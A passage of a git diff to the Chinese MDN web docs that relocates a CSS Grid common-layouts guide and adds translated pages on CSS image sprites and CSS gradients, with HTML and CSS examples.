+  grid-row: 3;
+}
+
+ +

{{ EmbedLiveSample('layout_2', '800', '400') }}

+
+ +

正如命名行指南中所述,我们使用命名行来放置项目。因为我们有12行名称相同,所以我们使用名称,然后是行索引。如果您喜欢并完全避免使用命名行,也可以使用行索引本身。

+ +

我没有设置结束行号,而是选择使用span关键字表示这个元素应该跨多少个轨道。我喜欢这种方法,因为在使用多列布局系统时,我们通常根据网格的轨迹数量来考虑块,并根据不同的断点进行调整。要查看块如何与轨道对齐,请使用 Firefox Grid Inspector. 。它清楚地展示了我们的项目是如何放置的。

+ +

Showing the items placed on the grid with grid tracks highlighted.

+ +

与您以前可能使用过的网格系统上的网格布局的工作方式有一些关键区别。如您所见,我们不需要添加任何标记来创建行,网格系统需要这样做来阻止元素弹出到上面的行中。使用CSS网格布局,我们可以将内容放入行中,如果行是空的,则它们不会上升到上面的行中。由于这种严格的列和行布局,我们也可以很容易地在布局中留出空白。我们也不需要特殊的类来拉或推东西,将它们缩进网格。我们需要做的就是指定项目的开始和结束行。

+ +

使用12列系统构建布局

+ +

为了了解这种布局方法在实践中是如何工作的,我们可以使用12列网格系统创建与使用{{cssxref("grid-template-areas")}}创建的布局相同的布局。我开始使用与网格模板区域示例相同的标记。

+ +
+ + +
<div class="wrapper">
+        <header class="main-head">The header</header>
+        <nav class="main-nav">
+            <ul>
+                <li><a href="">Nav 1</a></li>
+                <li><a href="">Nav 2</a></li>
+                <li><a href="">Nav 3</a></li>
+            </ul>
+        </nav>
+        <article class="content"><h1>Main article area</h1>
+        <p>In this layout, we display the areas in source order for any screen less that 500 pixels wide. We go to a two column layout, and then to a three column layout by redefining the grid, and the placement of items on the grid.</p></article>
+        <aside class="side">Sidebar</aside>
+        <div class="ad">Advertising</div>
+        <footer class="main-footer">The footer</footer>
+    </div>
+
+ +

然后,我可以设置网格,如上面的示例12列布局。

+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(12, [col-start] 1fr);
+  grid-gap: 20px;
+}
+
+ +

我们将再次使其成为响应式布局,不过这次使用的是命名行。每个断点都将使用一个12列的网格,但是,根据屏幕的大小,项目将跨越的轨道数量会发生变化。

+ +

我们首先启动移动设备,对于最窄的屏幕,我们想要的只是保持项目的源顺序,并且所有项目都跨越网格。

+ +
.wrapper > * {
+  grid-column: col-start / span 12;
+}
+
+ +

在下一个断点处,我们希望转移到两列布局。我们的标题和导航仍然跨整个网格,所以我们不需要为它们指定任何位置。侧边栏从第一行colstart开始,共3行。它在第3行之后,因为标题和导航位于前两行轨道中。

+ +

ad面板位于边栏下面,因此从网格行4开始。然后我们有内容和页脚,从colstart 4开始,跨越9个轨道,把它们带到网格的末端。

+ +
@media (min-width: 500px) {
+
+  .side {
+    grid-column: col-start / span 3;
+    grid-row: 3;
+  }
+  .ad {
+    grid-column: col-start / span 3;
+    grid-row: 4;
+  }
+  .content, .main-footer {
+    grid-column: col-start 4 / span 9;
+  }
+  nav ul {
+    display: flex;
+    justify-content: space-between;
+  }
+}
+
+ +

最后,我们转到这个布局的三列版本。标题继续横跨整个网格,但现在导航将向下移动,成为第一个侧边栏,其中包含内容,然后是旁边的侧边栏。页脚现在也跨整个布局。

+ +
@media (min-width: 700px) {
+  .main-nav {
+    grid-column: col-start / span 2;
+    grid-row: 2 / 4;
+  }
+  .content {
+    grid-column: col-start 3 / span 8;
+    grid-row: 2 / 4;
+  }
+  .side {
+    grid-column: col-start 11 / span 2;
+    grid-row: 2;
+  }
+  .ad {
+    grid-column: col-start 11 / span 2;
+    grid-row: 3;
+  }
+  .main-footer {
+    grid-column: col-start / span 12;
+  }
+  nav ul {
+    flex-direction: column;
+  }
+}
+
+ +

{{ EmbedLiveSample('layout_3', '800', '450') }}

+
+ +

网格检查器再次帮助我们了解布局是如何形成的。

+ +

Showing the layout with grid tracks highlighted by the grid inspector.

+ +

在创建这个布局时需要注意的一点是,我们不需要在每个断点显式地定位网格上的每个元素。我们能够继承为早期断点设置的位置——这是移动优先”的优势。我们还可以利用网格自动布局。通过保持元素的逻辑顺序,自动布局为我们将项目放到网格上做了很多工作。在本指南的最后一个示例中,我们将创建完全依赖自动布局的布局。

+ +

自动放置的产品列表

+ +

许多布局基本上是一组“卡片”——产品列表、图像库等等。网格可以使创建这些清单变得非常容易,而且无需添加媒体查询就可以响应。在下一个例子中,我将CSS Grid和flexbox布局相结合,以创建一个简单的产品列表布局。

+ +

我的列表的标记是一个无序的项目列表。每个项目都包含一个标题、一些不同高度的文本和对action链接的调用。

+ +
+
<ul class="listing">
+  <li>
+    <h2>Item One</h2>
+    <div class="body"><p>The content of this listing item goes here.</p></div>
+    <div class="cta"><a href="">Call to action!</a></div>
+  </li>
+   <li>
+     <h2>Item Two</h2>
+     <div class="body"><p>The content of this listing item goes here.</p></div>
+     <div class="cta"><a href="">Call to action!</a></div>
+   </li>
+   <li class="wide">
+     <h2>Item Three</h2>
+     <div class="body"><p>The content of this listing item goes here.</p>
+     <p>This one has more text than the other items.</p>
+     <p>Quite a lot more</p>
+     <p>Perhaps we could do something different with it?</p></div>
+     <div class="cta"><a href="">Call to action!</a></div>
+    </li>
+    <li>
+     <h2>Item Four</h2>
+     <div class="body"><p>The content of this listing item goes here.</p></div>
+     <div class="cta"><a href="">Call to action!</a></div>
+    </li>
+     <li>
+     <h2>Item Five</h2>
+     <div class="body"><p>The content of this listing item goes here.</p></div>
+      <div class="cta"><a href="">Call to action!</a></div>
+    </li>
+</ul>
+
+ + + +

我们将创建一个具有灵活数量的灵活列的网格。我希望它们永远不要小于200像素,然后平等地共享任何可用的剩余空间——所以我们总是得到相同宽度的列轨迹。我们使用minmax()函数实现了这一点,该函数是用于轨道大小的重复表示法。

+ +
.listing {
+  list-style: none;
+  margin: 2em;
+  display: grid;
+  grid-gap: 20px;
+  grid-template-columns: repeat(auto-fill,minmax(200px, 1fr));
+}
+
+ +

一旦我添加了这个CSS,项目就开始以网格的形式展开。如果我让窗口变小或变宽,列跟踪的数量就会发生变化,而不需要使用媒体查询添加断点并重新定义网格。

+ +

然后,我就可以使用flex touch来整理这些盒子的内部结构。 我将列表项设置为 display: flex flex-direction 设置为 column。 然后,我可以在 .cta 上使用自动边界将这个工具条推到盒子底部。

+ +
.listing li {
+  border: 1px solid #ffe066;
+  border-radius: 5px;
+  display: flex;
+  flex-direction: column;
+}
+.listing .cta {
+  margin-top: auto;
+  border-top: 1px solid #ffe066;
+  padding: 10px;
+  text-align: center;
+}
+.listing .body {
+  padding: 10px;
+}
+
+ +

这是我使用flexbox而不是grid的一个关键原因,如果我只是在一个维度上调整或发布一些东西,那就是一个flexbox用例。

+ +

{{ EmbedLiveSample('layout_4', '800', '900') }}

+
+ +

这一切现在看起来相当完整,然而我们有时拥有这些卡片,其中包含的内容比其他卡片多得多。让它们跨越两条轨道可能很好,这样它们就不会那么高了。我在较大的项目上有一个wide类,我添加了一个规则{{cssxref("grid-column-end")}},其值为span 2。现在,当grid遇到这个项目时,它将为它分配两个轨道。在某些断点处,这意味着我们将在网格中得到一个缺口——在这个缺口中没有空间放置一个双轨项目。

+ +

The layout has gaps as there is not space to layout a two track item.

+ +

我可以通过设置{{cssxref("grid-auto-flow")}}: dense 在网格容器上设置稠密,从而使网格填充这些空白。但是,在这样做时要小心,因为它会使项目偏离其逻辑源顺序。您应该只在项目没有设置顺序时才这样做——并且要注意源文件后面的选项卡顺序的问题,而不是重新排序的显示。

+ +
+ + +
.listing {
+  list-style: none;
+  margin: 2em;
+  display: grid;
+  grid-gap: 20px;
+  grid-auto-flow: dense;
+  grid-template-columns: repeat(auto-fill,minmax(200px, 1fr));
+}
+.listing .wide {
+  grid-column-end: span 2;
+}
+
+ +

{{ EmbedLiveSample('layout_5', '800', '900') }}

+ +

这种技术使用auto-placement一些规则应用于某些物品是非常有用的,并且可以帮助你处理的内容是由CMS例如,输出有重复项,或许可以添加一个类特定的呈现为HTML。

+
+ +

Further exploration

+ +

学习使用网格布局的最佳方法是继续构建我们在这里介绍的示例。选择一些您通常使用选择的框架构建的东西,或者使用浮动构建的东西,看看是否可以使用grid构建它。不要忘记寻找用当前方法无法构建的示例。这可能意味着从杂志或其他非网络资源中获取灵感。网格布局提供了我们以前没有过的可能性,我们不需要绑定到相同的旧布局来使用它。

+ + + + diff --git "a/files/zh-cn/web/css/css_grid_layout/\345\210\251\347\224\250css\347\275\221\346\240\274\345\270\203\345\261\200\345\256\236\347\216\260\345\270\270\347\224\250\345\270\203\345\261\200/index.html" "b/files/zh-cn/web/css/css_grid_layout/\345\210\251\347\224\250css\347\275\221\346\240\274\345\270\203\345\261\200\345\256\236\347\216\260\345\270\270\347\224\250\345\270\203\345\261\200/index.html" deleted file mode 100644 index 1f19e6933b..0000000000 --- "a/files/zh-cn/web/css/css_grid_layout/\345\210\251\347\224\250css\347\275\221\346\240\274\345\270\203\345\261\200\345\256\236\347\216\260\345\270\270\347\224\250\345\270\203\345\261\200/index.html" +++ /dev/null @@ -1,593 +0,0 @@ ---- -title: 利用CSS网格布局实现常用布局 -slug: Web/CSS/CSS_Grid_Layout/利用CSS网格布局实现常用布局 -translation_of: Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout ---- -

为了完善这组CSS网格布局指南,我将介绍几种不同的布局,它们演示了在使用网格布局进行设计时可以使用的一些不同技术。我们将看到一个使用 grid-template-areas 的示例,一个典型的12列灵活网格系统,以及一个使用自动布局的产品列表。正如您从这组示例中看到的,使用网格布局通常有不止一种方法来实现您想要的结果。选择对您正在解决的问题和需要实现的设计最有帮助的方法。

- -

使用网格模板区域的响应式布局,包含1到3个流动列

- -

许多网站都是这种布局的变体,有内容、边栏、页眉和页脚。在响应式设计中,您可能希望将布局显示为单个列,在某个断点添加侧栏,然后为更宽的屏幕引入三列布局。

- -

Image of the three different layouts created by redefining our grid at two breakpoints.

- -

我将使用我们在向导网格模板区域中了解到的命名模板区域来创建这个布局。

- -

我的标记是一个容器,其中包含用于标题、页脚、主要内容、导航、边栏和打算放置广告的块的元素。

- -
- - -
<div class="wrapper">
-        <header class="main-head">The header</header>
-        <nav class="main-nav">
-            <ul>
-                <li><a href="">Nav 1</a></li>
-                <li><a href="">Nav 2</a></li>
-                <li><a href="">Nav 3</a></li>
-            </ul>
-        </nav>
-        <article class="content">
-            <h1>Main article area</h1>
-            <p>In this layout, we display the areas in source order for any screen less that 500 pixels wide. We go to a two column layout, and then to a three column layout by redefining the grid, and the placement of items on the grid.</p>
-        </article>
-        <aside class="side">Sidebar</aside>
-        <div class="ad">Advertising</div>
-        <footer class="main-footer">The footer</footer>
-</div>
-
- -

因为我们使用{{cssxref("grid-template-areas")}}来创建布局。在任何媒体查询之外,我需要命名区域。我们使用{{cssxref("grid-area")}} 属性命名区域。

- -
.main-head {
-  grid-area: header;
-}
-.content {
-  grid-area: content;
-}
-.main-nav {
-  grid-area: nav;
-}
-.side {
-  grid-area: sidebar;
-}
-.ad {
-  grid-area: ad;
-}
-.main-footer {
-  grid-area: footer;
-}
-
- -

这不会创建任何布局,但是我们的项目现在有了名称,我们可以使用它来创建布局。在任何媒体查询之外,我现在要为移动宽度设置布局。在这里,我保持源文件的顺序,试图避免源文件和显示之间的任何断开,就像向导网格布局和可访问性中描述的那样。我没有定义任何列或行跟踪,但是这种布局规定了单个列,并且将根据需要为隐式网格中的每个项目创建行。

- -
.wrapper {
-  display: grid;
-  grid-gap: 20px;
-  grid-template-areas:
-    "header"
-    "nav"
-    "content"
-    "sidebar"
-    "ad"
-    "footer";
-}
-
- -

在设置了移动布局之后,我们将获得所有屏幕大小的这一列,现在我们可以添加一个媒体查询并重新定义布局,以满足屏幕空间足够显示两列的情况。

- -
@media (min-width: 500px) {
-  .wrapper {
-    grid-template-columns: 1fr 3fr;
-    grid-template-areas:
-      "header  header"
-      "nav     nav"
-      "sidebar content"
-      "ad      footer";
-  }
-  nav ul {
-    display: flex;
-    justify-content: space-between;
-  }
-}
-
- -

您可以看到布局在{{cssxref("grid-template-areas")}}的值中成形。 header 跨越两个列轨道,就像 nav 一样。在第三行轨道中,我们在 content 旁边有 sidebar 。在第四行轨道,我选择了放置我的广告内容-所以它出现在侧边栏下,然后 footer 旁边的内容。我在导航栏上使用了一个flexbox来显示它。

- -

现在我可以添加最后一个断点来移动到三列布局。

- -
@media (min-width: 700px) {
-  .wrapper {
-    grid-template-columns: 1fr 4fr 1fr;
-    grid-template-areas:
-      "header header  header"
-      "nav    content sidebar"
-      "nav    content ad"
-      "footer footer  footer"
-   }
-   nav ul {
-     flex-direction: column;
-   }
-}
-
- -

三列布局有两个1fr单元侧列和一个中间列,轨道大小为4fr。这意味着容器中的可用空间被划分为6个部分,并按照我们的三个轨道的比例分配—每个轨道的一个部分位于侧列,四个部分位于中心。

- -

在这个布局中,我在左边的列中显示导航,旁边是内容。在右边栏我们有侧边栏,在它下面是广告。页脚现在横跨布局的底部。然后我使用一个flex xbox将导航显示为一个列。

- -

{{ EmbedLiveSample('layout_1', '800', '500') }}

-
- -

这是一个简单的示例,但是演示了如何使用网格布局来为不同的断点重新安排布局。具体来说,我正在更改广告块的位置,这在不同的列设置中是合适的。我发现这种命名区域的方法在原型制作阶段非常有用,很容易处理元素的位置。您可以始终以这种方式开始使用grid进行原型设计,即使由于访问您站点的浏览器的原因,您不能在生产中完全依赖它。

- -

灵活的12列布局

- -

如果您使用过许多框架或网格系统之一,那么您可能已经习惯了将站点布置在12或16列的灵活网格上。我们可以使用CSS网格布局创建这种类型的系统。作为一个简单的例子,我正在创建一个12列的灵活网格,它有12个1fr-unit列轨道,它们都有一个名为col-start 的起始行。这意味着我们将拥有12条名为 col-start 的网格线。

- -
- - -
.wrapper {
-  display: grid;
-  grid-template-columns: repeat(12, [col-start] 1fr);
-  grid-gap: 20px;
-}
-
- -

为了演示这个网格系统是如何工作的,我在包装器中包含了4个子元素。

- -
<div class="wrapper">
-  <div class="item1">Start column line 1, span 3 column tracks.</div>
-  <div class="item2">Start column line 6, span 4 column tracks. 2 row tracks.</div>
-  <div class="item3">Start row 2 column line 2, span 2 column tracks.</div>
-  <div class="item4">Start at column line 3, span to the end of the grid (-1).</div>
-</div>
-
- -

然后,我可以使用命名行和span关键字将它们放到网格上。

- -
.item1 {
-  grid-column: col-start / span 3;
-}
-.item2 {
-  grid-column: col-start 6 / span 4 ;
-  grid-row: 1 / 3;
-}
-.item3 {
-  grid-column: col-start 2 / span 2;
-  grid-row: 2;
-}
-.item4 {
-  grid-column: col-start 3 / -1;
-  grid-row: 3;
-}
-
- -

{{ EmbedLiveSample('layout_2', '800', '400') }}

-
- -

正如命名行指南中所述,我们使用命名行来放置项目。因为我们有12行名称相同,所以我们使用名称,然后是行索引。如果您喜欢并完全避免使用命名行,也可以使用行索引本身。

- -

我没有设置结束行号,而是选择使用span关键字表示这个元素应该跨多少个轨道。我喜欢这种方法,因为在使用多列布局系统时,我们通常根据网格的轨迹数量来考虑块,并根据不同的断点进行调整。要查看块如何与轨道对齐,请使用 Firefox Grid Inspector. 。它清楚地展示了我们的项目是如何放置的。

- -

Showing the items placed on the grid with grid tracks highlighted.

- -

与您以前可能使用过的网格系统上的网格布局的工作方式有一些关键区别。如您所见,我们不需要添加任何标记来创建行,网格系统需要这样做来阻止元素弹出到上面的行中。使用CSS网格布局,我们可以将内容放入行中,如果行是空的,则它们不会上升到上面的行中。由于这种严格的列和行布局,我们也可以很容易地在布局中留出空白。我们也不需要特殊的类来拉或推东西,将它们缩进网格。我们需要做的就是指定项目的开始和结束行。

- -

使用12列系统构建布局

- -

为了了解这种布局方法在实践中是如何工作的,我们可以使用12列网格系统创建与使用{{cssxref("grid-template-areas")}}创建的布局相同的布局。我开始使用与网格模板区域示例相同的标记。

- -
- - -
<div class="wrapper">
-        <header class="main-head">The header</header>
-        <nav class="main-nav">
-            <ul>
-                <li><a href="">Nav 1</a></li>
-                <li><a href="">Nav 2</a></li>
-                <li><a href="">Nav 3</a></li>
-            </ul>
-        </nav>
-        <article class="content"><h1>Main article area</h1>
-        <p>In this layout, we display the areas in source order for any screen less that 500 pixels wide. We go to a two column layout, and then to a three column layout by redefining the grid, and the placement of items on the grid.</p></article>
-        <aside class="side">Sidebar</aside>
-        <div class="ad">Advertising</div>
-        <footer class="main-footer">The footer</footer>
-    </div>
-
- -

然后,我可以设置网格,如上面的示例12列布局。

- -
.wrapper {
-  display: grid;
-  grid-template-columns: repeat(12, [col-start] 1fr);
-  grid-gap: 20px;
-}
-
- -

我们将再次使其成为响应式布局,不过这次使用的是命名行。每个断点都将使用一个12列的网格,但是,根据屏幕的大小,项目将跨越的轨道数量会发生变化。

- -

我们首先启动移动设备,对于最窄的屏幕,我们想要的只是保持项目的源顺序,并且所有项目都跨越网格。

- -
.wrapper > * {
-  grid-column: col-start / span 12;
-}
-
- -

在下一个断点处,我们希望转移到两列布局。我们的标题和导航仍然跨整个网格,所以我们不需要为它们指定任何位置。侧边栏从第一行colstart开始,共3行。它在第3行之后,因为标题和导航位于前两行轨道中。

- -

ad面板位于边栏下面,因此从网格行4开始。然后我们有内容和页脚,从colstart 4开始,跨越9个轨道,把它们带到网格的末端。

- -
@media (min-width: 500px) {
-
-  .side {
-    grid-column: col-start / span 3;
-    grid-row: 3;
-  }
-  .ad {
-    grid-column: col-start / span 3;
-    grid-row: 4;
-  }
-  .content, .main-footer {
-    grid-column: col-start 4 / span 9;
-  }
-  nav ul {
-    display: flex;
-    justify-content: space-between;
-  }
-}
-
- -

最后,我们转到这个布局的三列版本。标题继续横跨整个网格,但现在导航将向下移动,成为第一个侧边栏,其中包含内容,然后是旁边的侧边栏。页脚现在也跨整个布局。

- -
@media (min-width: 700px) {
-  .main-nav {
-    grid-column: col-start / span 2;
-    grid-row: 2 / 4;
-  }
-  .content {
-    grid-column: col-start 3 / span 8;
-    grid-row: 2 / 4;
-  }
-  .side {
-    grid-column: col-start 11 / span 2;
-    grid-row: 2;
-  }
-  .ad {
-    grid-column: col-start 11 / span 2;
-    grid-row: 3;
-  }
-  .main-footer {
-    grid-column: col-start / span 12;
-  }
-  nav ul {
-    flex-direction: column;
-  }
-}
-
- -

{{ EmbedLiveSample('layout_3', '800', '450') }}

-
- -

网格检查器再次帮助我们了解布局是如何形成的。

- -

Showing the layout with grid tracks highlighted by the grid inspector.

- -

在创建这个布局时需要注意的一点是,我们不需要在每个断点显式地定位网格上的每个元素。我们能够继承为早期断点设置的位置——这是移动优先”的优势。我们还可以利用网格自动布局。通过保持元素的逻辑顺序,自动布局为我们将项目放到网格上做了很多工作。在本指南的最后一个示例中,我们将创建完全依赖自动布局的布局。

- -

自动放置的产品列表

- -

许多布局基本上是一组“卡片”——产品列表、图像库等等。网格可以使创建这些清单变得非常容易,而且无需添加媒体查询就可以响应。在下一个例子中,我将CSS Grid和flexbox布局相结合,以创建一个简单的产品列表布局。

- -

我的列表的标记是一个无序的项目列表。每个项目都包含一个标题、一些不同高度的文本和对action链接的调用。

- -
-
<ul class="listing">
-  <li>
-    <h2>Item One</h2>
-    <div class="body"><p>The content of this listing item goes here.</p></div>
-    <div class="cta"><a href="">Call to action!</a></div>
-  </li>
-   <li>
-     <h2>Item Two</h2>
-     <div class="body"><p>The content of this listing item goes here.</p></div>
-     <div class="cta"><a href="">Call to action!</a></div>
-   </li>
-   <li class="wide">
-     <h2>Item Three</h2>
-     <div class="body"><p>The content of this listing item goes here.</p>
-     <p>This one has more text than the other items.</p>
-     <p>Quite a lot more</p>
-     <p>Perhaps we could do something different with it?</p></div>
-     <div class="cta"><a href="">Call to action!</a></div>
-    </li>
-    <li>
-     <h2>Item Four</h2>
-     <div class="body"><p>The content of this listing item goes here.</p></div>
-     <div class="cta"><a href="">Call to action!</a></div>
-    </li>
-     <li>
-     <h2>Item Five</h2>
-     <div class="body"><p>The content of this listing item goes here.</p></div>
-      <div class="cta"><a href="">Call to action!</a></div>
-    </li>
-</ul>
-
- - - -

我们将创建一个具有灵活数量的灵活列的网格。我希望它们永远不要小于200像素,然后平等地共享任何可用的剩余空间——所以我们总是得到相同宽度的列轨迹。我们使用minmax()函数实现了这一点,该函数是用于轨道大小的重复表示法。

- -
.listing {
-  list-style: none;
-  margin: 2em;
-  display: grid;
-  grid-gap: 20px;
-  grid-template-columns: repeat(auto-fill,minmax(200px, 1fr));
-}
-
- -

一旦我添加了这个CSS,项目就开始以网格的形式展开。如果我让窗口变小或变宽,列跟踪的数量就会发生变化,而不需要使用媒体查询添加断点并重新定义网格。

- -

然后,我就可以使用flex touch来整理这些盒子的内部结构。 我将列表项设置为 display: flex flex-direction 设置为 column。 然后,我可以在 .cta 上使用自动边界将这个工具条推到盒子底部。

- -
.listing li {
-  border: 1px solid #ffe066;
-  border-radius: 5px;
-  display: flex;
-  flex-direction: column;
-}
-.listing .cta {
-  margin-top: auto;
-  border-top: 1px solid #ffe066;
-  padding: 10px;
-  text-align: center;
-}
-.listing .body {
-  padding: 10px;
-}
-
- -

这是我使用flexbox而不是grid的一个关键原因,如果我只是在一个维度上调整或发布一些东西,那就是一个flexbox用例。

- -

{{ EmbedLiveSample('layout_4', '800', '900') }}

-
- -

这一切现在看起来相当完整,然而我们有时拥有这些卡片,其中包含的内容比其他卡片多得多。让它们跨越两条轨道可能很好,这样它们就不会那么高了。我在较大的项目上有一个wide类,我添加了一个规则{{cssxref("grid-column-end")}},其值为span 2。现在,当grid遇到这个项目时,它将为它分配两个轨道。在某些断点处,这意味着我们将在网格中得到一个缺口——在这个缺口中没有空间放置一个双轨项目。

- -

The layout has gaps as there is not space to layout a two track item.

- -

我可以通过设置{{cssxref("grid-auto-flow")}}: dense 在网格容器上设置稠密,从而使网格填充这些空白。但是,在这样做时要小心,因为它会使项目偏离其逻辑源顺序。您应该只在项目没有设置顺序时才这样做——并且要注意源文件后面的选项卡顺序的问题,而不是重新排序的显示。

- -
- - -
.listing {
-  list-style: none;
-  margin: 2em;
-  display: grid;
-  grid-gap: 20px;
-  grid-auto-flow: dense;
-  grid-template-columns: repeat(auto-fill,minmax(200px, 1fr));
-}
-.listing .wide {
-  grid-column-end: span 2;
-}
-
- -

{{ EmbedLiveSample('layout_5', '800', '900') }}

- -

这种技术使用auto-placement一些规则应用于某些物品是非常有用的,并且可以帮助你处理的内容是由CMS例如,输出有重复项,或许可以添加一个类特定的呈现为HTML。

-
- -

Further exploration

- -

学习使用网格布局的最佳方法是继续构建我们在这里介绍的示例。选择一些您通常使用选择的框架构建的东西,或者使用浮动构建的东西,看看是否可以使用grid构建它。不要忘记寻找用当前方法无法构建的示例。这可能意味着从杂志或其他非网络资源中获取灵感。网格布局提供了我们以前没有过的可能性,我们不需要绑定到相同的旧布局来使用它。

- - - - diff --git a/files/zh-cn/web/css/css_images/implementing_image_sprites_in_css/index.html b/files/zh-cn/web/css/css_images/implementing_image_sprites_in_css/index.html new file mode 100644 index 0000000000..4a3e2bb7c9 --- /dev/null +++ b/files/zh-cn/web/css/css_images/implementing_image_sprites_in_css/index.html @@ -0,0 +1,49 @@ +--- +title: 在 CSS 中实现图像合并 +slug: Web/Guide/CSS/CSS_Image_Sprites +tags: + - CSS + - CSS Image + - Graphics + - Guide + - Web +translation_of: Web/CSS/CSS_Images/Implementing_image_sprites_in_CSS +--- +
{{cssRef}}
+ +

CSS 图像合并Image sprites) 技术,亦作 CSS 贴图定位、图像精灵(sprite,意为精灵),被运用于众多使用大量小图标的网页应用之上。它可取图像的一部分来使用,使得使用一个图像文件替代多个小文件成为可能。相较于一个小图标一个图像文件,单独一张图片所需的 HTTP 请求更少,对内存和带宽更加友好。

+ +
+

备注: 当使用 HTTP/2 时,使用多个小流量请求实际上可能更为带宽友好。

+
+ +

实现

+ +

若要为所有类名为 toolbtn 的元素附加上一张图片:

+ +
.toolbtn {
+  background: url(myfile.png);
+  display: inline-block;
+  height: 20px;
+  width: 20px;
+}
+
+ +

为设置 background-position 以使每个按钮得到合并后图片中的正确部分,可以在 background 属性中的 {{cssxref("url()")}} 后添加 x, y 两个坐标值,或直接使用 {{cssxref("background-position")}} 属性。例如:

+ +
#btn1 {background-position: -20px 0px}
+#btn2 {background-position: -40px 0px}
+
+ +

这会将 ID 为 btn1 的元素的背景向左移 20px,ID 为 btn2 的元素的背景向左移40px(假设这两个元素都带有 toolbtn 这个类且应用了上面 background 属性中定义的图片背景)

+ +

类似的,你也可以使用下面的代码添加悬停效果:

+ +
#btn:hover {
+  background-position: <pixels shifted right>px <pixels shifted down>px;
+}
+
+ +

深入阅读

+ +

CSS Tricks 上的完整 Demo:http://css-tricks.com/snippets/css/perfect-css-sprite-sliding-doors-button/

diff --git a/files/zh-cn/web/css/css_images/using_css_gradients/index.html b/files/zh-cn/web/css/css_images/using_css_gradients/index.html new file mode 100644 index 0000000000..21460cd820 --- /dev/null +++ b/files/zh-cn/web/css/css_images/using_css_gradients/index.html @@ -0,0 +1,717 @@ +--- +title: 使用 CSS 渐变 +slug: Web/Guide/CSS/Using_CSS_gradients +translation_of: Web/CSS/CSS_Images/Using_CSS_gradients +--- +
{{CSSRef}}
+ +

CSS 渐变 {{cssxref("<image>")}} 类型的一种特殊类型 {{cssxref("<gradient>")}} 表示,由两种或多种颜色之间的渐进过渡组成。您可以选择三种类型的渐变:线性 (由 {{cssxref("linear-gradient")}} 函数创建),径向(由 {{cssxref("radial-gradient")}} 函数创建) 和圆锥 (由 {{cssxref("conic-gradient")}} 函数创建)。您还可以使用 {{cssxref("repeating-linear-gradient")}} 和 {{cssxref("repeating-radial-gradient")}} 函数创建重复渐变。

+ +

渐变可以在任何使用 <image> 的地方使用,例如在背景中。 由于渐变是动态生成的,因此它们可以消除对传统用于实现类似效果的栅格图像文件的需求。 此外,由于渐变是由浏览器生成的,因此在放大时它们看起来比栅格图像更好,并且可以动态调整大小。

+ +

我们将从线性渐变开始介绍,然后以线性渐变为例介绍所有渐变类型支持的功能,然后继续介绍径向渐变,圆锥渐变和重复渐变。

+ +

使用线性渐变

+ +

线性渐变创建了一条沿直线前进的颜色带。

+ +
+

基础线性渐变

+ +

要创建最基本的渐变类型,您只需指定两种颜色即可。 这些被称为色标。 至少指定两个色标,也可以指定任意数量。

+ + + +
.simple-linear {
+  background: linear-gradient(blue, pink);
+}
+ +

{{ EmbedLiveSample('A_basic_linear_gradient', 120, 120) }}

+
+ +
+

改变渐变方向

+ +

默认情况下,线性渐变的方向是从上到下, 你可以指定一个值来改变渐变的方向。

+ + + +
.horizontal-gradient {
+  background: linear-gradient(to right, blue, pink);
+}
+
+ +

{{ EmbedLiveSample('Changing_the_direction', 120, 120) }}

+
+ +
+

对角线渐变

+ +

你甚至可以设置渐变方向为从一个对角到另一个对角。

+ + + +
.diagonal-gradient {
+  background: linear-gradient(to bottom right, blue, pink);
+}
+
+ +

{{ EmbedLiveSample('Diagonal_gradients', 200, 100) }}

+
+ +
+

设置渐变角度

+ +

如果你想要更精确地控制渐变的方向,你可以给渐变设置一个具体的角度。

+ + + +
.angled-gradient {
+  background: linear-gradient(70deg, blue, pink);
+}
+
+ +

{{ EmbedLiveSample('Using_angles', 120, 120) }}

+ +

在使用角度的时候, 0deg 代表渐变方向为从下到上, 90deg 代表渐变方向为从左到右,诸如此类正角度都属于顺时针方向。 而负角度意味着逆时针方向。

+ +

linear_redangles.png

+
+ +

声明颜色和创建效果

+ +

所有的CSS渐变类型都是一个位置依赖的颜色范围。CSS渐变产生的颜色可以随位置不断变化,从而产生平滑的颜色过渡。也可以创建纯色带和两种颜色之间的硬过渡。以下内容适用于所有渐变函数:

+ +
+

使用多种颜色

+ +

无需局限于使用两种颜色,你想使用多少种颜色都可以! 默认情况下,所设置颜色会均匀分布在渐变路径中。

+ + + +
.auto-spaced-linear-gradient {
+  background: linear-gradient(red, yellow, blue, orange);
+}
+
+ +

{{ EmbedLiveSample('Using_more_than_two_colors', 120, 120) }}

+
+ +
+

颜色终止位置

+ +

你不需要让你设置的颜色在默认位置终止。 你可以通过给每个颜色设置0,1%或者2%或者其他的绝对数值来调整它们的位置。如果你将位置设置为百分数, 0% 表示起始点, 而100%表示终点,但是如果需要的话你也可以设置这个范围之外的其他值来达到你想要的效果。如果有些位置你没有明确设置,那么它将会被自动计算,第一种颜色会在0%处停止,而最后一种颜色是100%,至于其他颜色则是在它邻近的两种颜色的中间停止。 

+ + + +
.multicolor-linear {
+   background: linear-gradient(to left, lime 28px, red 77%, cyan);
+}
+
+ +

{{ EmbedLiveSample('Positioning_color_stops', 120, 120) }}

+
+ +
+

创建实线

+ +

要在两种颜色之间创建一条硬线,即创建一个条纹而不是逐渐过渡,可以将相邻的颜色停止设置为相同的位置。在此示例中,两种颜色在50%标记处共享一个颜色停止点,即渐变的一半:

+ + + +
.striped {
+   background: linear-gradient(to bottom left, cyan 50%, palegoldenrod 50%);
+}
+ +

{{ EmbedLiveSample('Creating_hard_lines', 120, 120) }}

+
+ +
+

渐变提示

+ +

默认情况下,渐变会平滑地从一种颜色过渡到另一种颜色。你可以通过设置一个值来将渐变的中心点移动到指定位置。 在如下示例中, 我们将渐变的中心点由50%设为10%。

+ + + +
.color-hint {
+  background: linear-gradient(blue, 10%, pink);
+}
+.simple-linear {
+  background: linear-gradient(blue, pink);
+}
+ +

{{ EmbedLiveSample('Gradient_hints', 120, 120) }}

+
+ +
+

创建色带和条纹

+ +

要在渐变中包含一个实心的非过渡颜色区域,请包含颜色起止点的两个位置。颜色起止点可以有两个位置,这相当于两个连续颜色在不同位置具有相同的颜色起止点。颜色将在第一个颜色起止点时达到完全饱和,保持该饱和度到第二个颜色起止点,并通过相邻颜色起止点的第一个位置过渡到相邻颜色起止点的颜色。

+ + + +
.multiposition-stops {
+   background: linear-gradient(to left,
+       lime 20%, red 30%, red 45%, cyan 55%, cyan 70%, yellow 80% );
